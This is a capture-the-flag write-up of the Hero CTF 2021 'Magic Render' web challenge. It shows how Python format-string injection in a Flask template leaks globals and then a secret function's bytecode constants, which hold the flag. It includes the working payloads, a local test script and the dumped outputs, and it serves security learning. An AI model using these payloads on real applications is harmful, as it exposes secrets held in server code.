Tags: formatstringexploiter web python 

Rating: 5.0

# Magic Render
This was a web challenge in the Hero CTF 2021.

https://www.heroctf.fr/challenges

![Magic Render Challenge](media/magic-render-chal.png)

Clicking the link gives us this page:
![Magic Render Page](media/magic-render-page.png)

You can enter a title and body and you'll get back an html page with your title and body inserted.

I tried various special characters until I saw that **{}** in the body causes this error.

`Something went wrong, sorry! It's only the alpha version !`

After some searching, I found this online: https://podalirius.net/articles/python-format-string-vulnerabilities/

Finding this page was key to solving this challenge. No way would I have done so without it.

I tried an example from that page:

```{self.__init__.__globals__}```

and got (newlines added for readability):

```
{'__name__': '__main__', '__doc__': None, '__package__': None,
'__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f5107b17518>,
'__spec__': None, '__annotations__': {}, '__builtins__': , '__file__': 'app.py',
'__cached__': None, 'Flask': , 'render_template': , 'request': , 'FlaskView': ,
'route': , 'dis': , 'app': , 'port': 8050, 'secret_function': , 'App': }
```

Notice there is a secret_function!

At first I tried to access it like this:

```{self.__init__.__globals__.secret_function}```

but got back the error. Eventually I learned that I needed to use brackets since `__globals__` is a dictionary.

```{self.__init__.__globals__[secret_function]}```

But that just gives back an empty page.

In hindsight, that makes sense since that object must not have a string representation or else it would've shown it to us when we dumped out `__globals__`.

If I try to call this function:

`{self.__init__.__globals__[secret_function]()}`

I get back an error.

At this point, I didn't know to do.

I copied some example code from the above page and hacked on it a bit so I could play around with this locally.

```
import sys

def secret_function():
flag = 'wow'
return flag

class TEST():
def __init__(self):
self.testValue = 'test'

def renderHTML(self, templateHTML, text):
return (templateHTML.format(self=self, text=text))

if __name__ == '__main__':
if len(sys.argv) != 2:
print("Usage : python3 "+sys.argv[0]+" TEMPLATE CONTENT")
else :
a = TEST()
print(a.renderHTML(sys.argv[1], 'foo'))

```

I could then call this locally like:

`python3 crack.py '{self.__init__.__globals__}'`

and got this output:
```
{'__name__': '__main__', '__doc__': None, '__package__': None,
'__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x10ebb0040>,
'__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>,
'__file__': 'crack.py', '__cached__': None, 'sys': <module 'sys' (built-in)>,
'secret_function': <function secret_function at 0x10ede2790>, 'TEST': <class '__main__.TEST'>,
'a': <__main__.TEST object at 0x10edf6fd0>}
```

That looks similar enough to the challenge that I thought I was on the right track.

Wanting to know what was hiding inside the function object, I hacked the renderHTML() method to be:

```
def renderHTML(self, templateHTML, text):
return dir(self.__init__.__globals__['secret_function'])
```

The dir() method will dump out all of an object's properties.

It printed this:

```
['__annotations__', '__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__',
'__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__get__', '__getattribute__',
'__globals__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__kwdefaults__', '__le__',
'__lt__', '__module__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__',
'__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__']
```

Not knowing what to look for, I tried several of these until I stumbled upon `__code__`:

```
def renderHTML(self, templateHTML, text):
return dir(self.__init__.__globals__['secret_function'].__code__)
```

and got:

```
['__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__',
'__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__',
'__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount',
'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars',
'co_kwonlyargcount', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_posonlyargcount', 'co_stacksize',
'co_varnames', 'replace']
```

**co_varnames** looked interesting so I tried:

```
return self.__init__.__globals__['secret_function'].__code__.co_varnames
```

and got:

`('flag',)`

Then I tried **co_consts**:
```
return self.__init__.__globals__['secret_function'].__code__.co_consts
```

and got:

`(None, 'wow')`

Armed with this, I was ready to return to the challenge.

When I submit this for the body:

`{self.__init__.__globals__[secret_function].__code__.co_varnames}`

it returned:

`('flag',)`

Finally, I submitted:

`{self.__init__.__globals__[secret_function].__code__.co_consts}`

and got:

`(None, 'Hero{l34k_my_byt3c0d3zzzzzz}')`

Again, I got lucky that I found this particular page and that I happened find my way through the maze of properties to find the one containing the flag.

I definitely learned a lot about all of the properties I never knew were hiding inside Python function objects.

Original writeup (https://github.com/sambrow/ctf-writeups-2021/tree/master/hero-ctf/magic-render).